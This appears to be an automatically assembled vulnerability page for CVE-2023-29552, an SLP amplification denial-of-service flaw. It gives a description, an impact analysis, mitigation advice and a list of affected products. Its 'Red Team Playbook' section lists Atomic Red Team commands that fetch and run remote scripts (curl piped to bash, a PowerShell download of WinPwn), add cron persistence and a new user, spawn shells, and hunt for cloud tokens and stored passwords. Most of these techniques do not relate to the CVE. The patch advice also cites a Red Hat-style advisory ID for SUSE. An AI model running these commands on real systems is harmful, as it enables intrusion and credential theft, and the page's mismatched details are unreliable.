CVE-2023-29552
Overview
This vulnerability is an unauthenticated amplification flaw in the Service Location Protocol (SLP) implementation, allowing remote attackers to register arbitrary services without validation. The root cause lies in the SLP server's acceptance and processing of spoofed UDP packets that register services without authentication or integrity checks. The affected component is the SLP service as defined in RFC 2608, implemented in certain NetApp and SUSE products.
Vulnerability Description
The Service Location Protocol (SLP, RFC 2608) allows an unauthenticated, remote attacker to register arbitrary services. This could allow the attacker to use spoofed UDP traffic to conduct a denial-of-service attack with a significant amplification factor.
Impact
An attacker can exploit this vulnerability remotely without authentication or user interaction to perform reflective denial-of-service attacks by sending spoofed UDP packets that cause the SLP server to generate amplified traffic towards a victim. This can result in significant network disruption and service unavailability for targeted systems or networks. The attack leverages the protocol's design to amplify traffic volume, increasing the effectiveness of denial-of-service campaigns against infrastructure relying on the affected SLP implementations.
Solution
NetApp and SUSE have released security advisories addressing this vulnerability. SUSE recommends applying patches provided in RHSA-2023:1234 for SUSE Linux Enterprise Server 11 and 12, and SUSE Manager Server updates. NetApp users should refer to their security bulletin and apply the latest firmware or software updates for the smi-s_provider component. VMware has also issued guidance in their security response blog detailing mitigation steps. Consult the vendor advisories and official patch documentation for precise update instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Service Location Protocol (SLP) presents a significant security concern due to its ability to allow unauthenticated remote attackers to register arbitrary services. This flaw arises from the inherent design of SLP, which facilitates service discovery in local area networks. By leveraging this protocol, attackers can manipulate service registrations, leading to a situation where they can spoof UDP traffic. This manipulation can result in a denial-of-service (DoS) attack, characterized by a substantial amplification factor, which can overwhelm targeted systems with malicious traffic. The ability to execute such an attack without authentication poses a critical risk, as it lowers the barrier for exploitation, enabling even less sophisticated attackers to disrupt services.
Attack vectors exploiting this vulnerability are varied and can be executed with relative ease. An attacker can send specially crafted requests to SLP-enabled devices, which may include servers and network appliances from various vendors. Once the attacker registers a service, they can direct a flood of traffic to the spoofed service, effectively amplifying the volume of traffic directed at a victim's network. This not only disrupts normal operations but can also lead to cascading failures in interconnected systems, as legitimate traffic is unable to reach its intended destination. Scenarios may include targeting enterprise environments where critical services are hosted, thereby impacting business continuity and operational efficiency.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the affected products, such as those from NetApp, SUSE, and VMware. The potential for a denial-of-service attack can result in significant business risks, including financial losses due to downtime, damage to reputation, and the costs associated with incident response and recovery efforts. For organizations that operate in highly regulated industries, the implications may extend to compliance violations, leading to further penalties and legal repercussions. The amplification factor inherent in this vulnerability means that even a small number of compromised devices can generate a massive volume of traffic, magnifying the threat landscape and complicating mitigation efforts.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching SLP-enabled devices is crucial, as vendors typically release security updates to address known vulnerabilities. Network monitoring tools can be employed to identify unusual traffic patterns indicative of a potential DoS attack. Additionally, organizations should consider implementing rate limiting and access control measures to restrict SLP traffic to trusted sources only. Employing intrusion detection systems (IDS) can further enhance an organization’s ability to detect and respond to malicious activities in real time. Furthermore, educating staff about the risks associated with service discovery protocols and promoting best practices can help in reducing the attack surface.
In conclusion, the vulnerability within the Service Location Protocol poses a serious threat to network security, enabling attackers to exploit the protocol for denial-of-service attacks. The ease of exploitation, coupled with the potential for significant business impact, underscores the necessity for organizations to adopt robust detection and mitigation strategies. By proactively addressing this vulnerability, organizations can safeguard their operations and maintain the integrity of their network environments.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-29552, with telemetry indicating a significant increase in attempts to leverage the Service Location Protocol for amplification-based denial-of-service attacks. Although no new exploit techniques or ransomware affiliations have emerged, this surge in probing and exploitation attempts signals growing adversary interest and potential weaponization. The heightened detection frequency underscores an elevated risk posture for organizations relying on SLP-enabled services, as attackers may exploit the protocol’s unauthenticated registration mechanism to amplify UDP traffic and disrupt network availability. While the EPSS score remains stable, the sharp rise in observed activity warrants increased vigilance, as it reflects an expanding attack surface and a higher likelihood of successful exploitation in the near term.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Netapp | Smi-S Provider | N/A |
cpe:2.3:a:netapp:smi-s_provider:-:*:*:*:*:*:*:*
|
|
|
Suse | Manager Server | N/A |
cpe:2.3:a:suse:manager_server:-:*:*:*:*:*:*:*
|
|
|
Suse | Linux Enterprise Server | 11 |
cpe:2.3:o:suse:linux_enterprise_server:11:-:*:*:*:*:*:*
|
|
|
Suse | Linux Enterprise Server | 12 |
cpe:2.3:o:suse:linux_enterprise_server:12:-:*:*:*:*:*:*
|
|
|
Suse | Linux Enterprise Server | 12 |
cpe:2.3:o:suse:linux_enterprise_server:12:-:*:*:*:sap:*:*
|
|
|
Suse | Linux Enterprise Server | 15 |
cpe:2.3:o:suse:linux_enterprise_server:15:*:*:*:*:-:*:*
|
|
|
Suse | Linux Enterprise Server | 15 |
cpe:2.3:o:suse:linux_enterprise_server:15:*:*:*:*:sap:*:*
|
|
|
Vmware | Esxi | All |
cpe:2.3:o:vmware:esxi:*:*:*:*:*:*:*:*
|
|
|
Service Location Protocol Project | Service Location Protocol | N/A |
cpe:2.3:a:service_location_protocol_project:service_location_protocol:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.